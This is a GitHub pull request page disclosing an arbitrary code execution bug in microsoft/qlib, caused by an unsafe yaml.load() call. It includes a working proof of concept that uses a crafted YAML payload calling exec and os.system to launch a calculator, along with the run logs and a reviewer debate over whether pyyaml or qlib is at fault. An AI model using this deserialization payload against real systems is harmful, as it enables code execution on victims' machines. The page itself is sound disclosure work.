

New issue

[Jump to bottom](#)

# Arbitrary Code Execution in Microsoft/qlib #1329

[Merged](#) JamieSlome merged 5 commits into 418sec:staging from B3EF:microsoft-qlib-1 on Dec 21, 2020

Conversation 4 Commits 5 Checks 0 Files changed 2



B3EF commented on Dec 8, 2020 • edited

Contributor

## Description

Arbitrary Code Execution in microsoft/qlib.

Qlib is an AI-oriented quantitative investment platform, which aims to realize the potential, empower the research, and create the value of AI technologies in quantitative investment.

## Technical Description

This package was vulnerable to Arbitrary code execution due to a use of a known vulnerable function `load()` in `yaml`

## Exploit code

Python File

```
import os
import qlib.workflow.cli as cli

exploit = """!python/object/new:type
args: ["z", !python/tuple [], {"extend": !python/name:exec }]
listitems: "__import__('os').system('xcalc')"""

open('exploit.yml', 'w+').write(exploit)
cli.workflow('exploit.yml', 'workflow', '/tmp')
os.system('rm exploit.yml')
```

## POC

- Install qlib using pip
- Run the exploit code

```
Created wheel for proto-plus: filename=proto-plus-1.13.0-py3-none-any.whl size=41591 sha256=59d89585d1c416381bcb74d7f815med21c6f8f8a8f9a58b738fca4bb74dc642
Stored in directory: /root/.cache/pip/wheels/c4/77/51/d264693ef5a67296bb5081bca5834f5d5b12e325eb4b2d3f7f
Successfully built tinystream proto-plus
Installing collected packages: binary, tinydb, tinystream, google-crc32c, google-resizable-media, proto-plus, google-api-core, google-cloud-core, google-cloud-bigquery, pypinfo
Successfully installed binary-1.0.0 google-api-core-1.22.4 google-cloud-bigquery-2.6.0 google-cloud-core-1.4.4 google-crc32c-1.0.0 google-resizable-media-1.1.0 proto-plus-1.13.0 pypinfo-17.0.0 tinydb-4.3.0 tinystream-1.0.0
PS C:\Users\B3EF> python exploit_qlib.py
File "exploit_qlib.py", line 8
open('exploit.yml', 'w+').write(exploit)
^
SyntaxError: invalid syntax
PS C:\Users\B3EF> python exploit_qlib.py
Traceback (most recent call last):
  File "exploit_qlib.py", line 9, in <module>
    cli.workflow('exploit.yml', 'workflow', '/tmp')
NameError: name 'cli' is not defined
PS C:\Users\B3EF> python exploit_qlib.py
Warning: locale not supported by Klib, locale set to C
Warning: Cannot convert string "calculator" to type QPixmap
Warning: Cannot convert string "Bk13" to type FontStruct
Warning: Cannot convert string "adobe-symbol" to type FontStruct
```

## Impact

code execution

## Checklist

☒ Created and populated the `README.md` and `vulnerability.json` files

- ☑ Provided the repository URL and any applicable permalinks
- ☑ Defined all the applicable weaknesses (CWEs)
- ☑ Proposed the CVSS vector items i.e. User Interaction, Attack Complexity
- ☑ Checked that the vulnerability affects the latest version of the package released
- ☑ Checked that a fix does not currently exist that remedies this vulnerability
- ☑ Complied with all applicable laws

📁 B3EF added 2 commits 2 years ago

🔗 Create README.md

778c00f

🔗 Create vulnerability.json

7792516

🔖 huntr-helper added the **disclosure** label on Dec 8, 2020

👁 huntr-helper requested review from bbeale, Mik317 and mufeedvh 2 years ago

🔗 Update vulnerability.json

d156dba

📌 JamieSlome added this to In Progress in **Kanban** on Dec 8, 2020

🔗 Update README.md

e5f1933

adam-nygate commented on Dec 14, 2020

Member

@B3EF this seems like an issue in a known vulnerable dependency of the project, rather than a vulnerability in the project itself. Closing for now, but please let me know if you feel differently.

🔒 adam-nygate closed this on Dec 14, 2020

🔒 adam-nygate reopened this on Dec 15, 2020

👁 JamieSlome requested a review from mzfr 2 years ago



👁 mzfr reviewed on Dec 16, 2020

[View changes](#)

👤 mzfr left a comment

@B3EF This is not an issue with the qlib but instead the dependency used in that project i.e pyyaml[1] & ruamel[2].

Also you can see that the exploit that you are passing is getting loaded by the yaml package [here](#).

So pyyaml is the real culprit behind this issue.

B3EF commented on Dec 16, 2020

Contributor

Author

@B3EF This is not an issue with the qlib but instead the dependency used in that project i.e pyyaml[1] & ruamel[2].

Also you can see that the exploit that you are passing is getting loaded by the yaml package [here](#).

So pyyaml is the real culprit behind this issue.

hi @mzfr ,  
but pyyaml and ruamel.yaml have an alternate solution to fix it, that's why @adam-nygate have reopened my PR's.  
any way its ain't a 0day one <3



✓ Mik317 approved these changes on Dec 16, 2020

[View changes](#)



Mik317 left a comment

Contributor

@B3EF This is not an issue with the qlib but instead the dependency used in that project i.e pyyaml[1] & ruamel[2].

Also you can see that the exploit that you are passing is getting loaded by the yaml package [here](#).

So pyyaml is the real culprit behind this issue.

I think @B3EF is right 🤔

All the deserialization bugs occurs because the deserializer used allows, when user-input is supplied and not checked, to run malicious code. The pyyaml library for example allows to use the safe\_load function which is better to handle user input of this type.

In this case the fault isn't of the deserialization library, which can handle every input with load but of the projects who's not using the safe\_load alternative. It could be possible also restrict through a overriding class in case some attributes (malicious) need to be handled by the qlib library.

Cheers,  
Mik



Update vulnerability.json

a970285



JamieSlome merged commit b6dccc67 into 418sec:staging on Dec 21, 2020



huntr-helper added the discussion label on Dec 21, 2020



JamieSlome moved this from In Progress to Done in Kanban on Dec 22, 2020



OS-WS referenced this pull request in microsoft/qlib on Feb 16, 2021



move freq params to dataloader

802dac8



westonsteimel mentioned this pull request on Mar 14, 2021

Correction to pip package for pyup.io-39620 for CVE-2021-23338 pyupio/safety-db#2330

Closed

#### Reviewers

mzfr  
Mik317  
bbeale  
mufeedvh



#### Assignees

No one assigned

#### Labels

disclosure discussion

#### Projects

No open projects

1 closed project

#### Milestone

No milestone

#### Development

Successfully merging this pull request may close these issues.

None yet

#### 6 participants

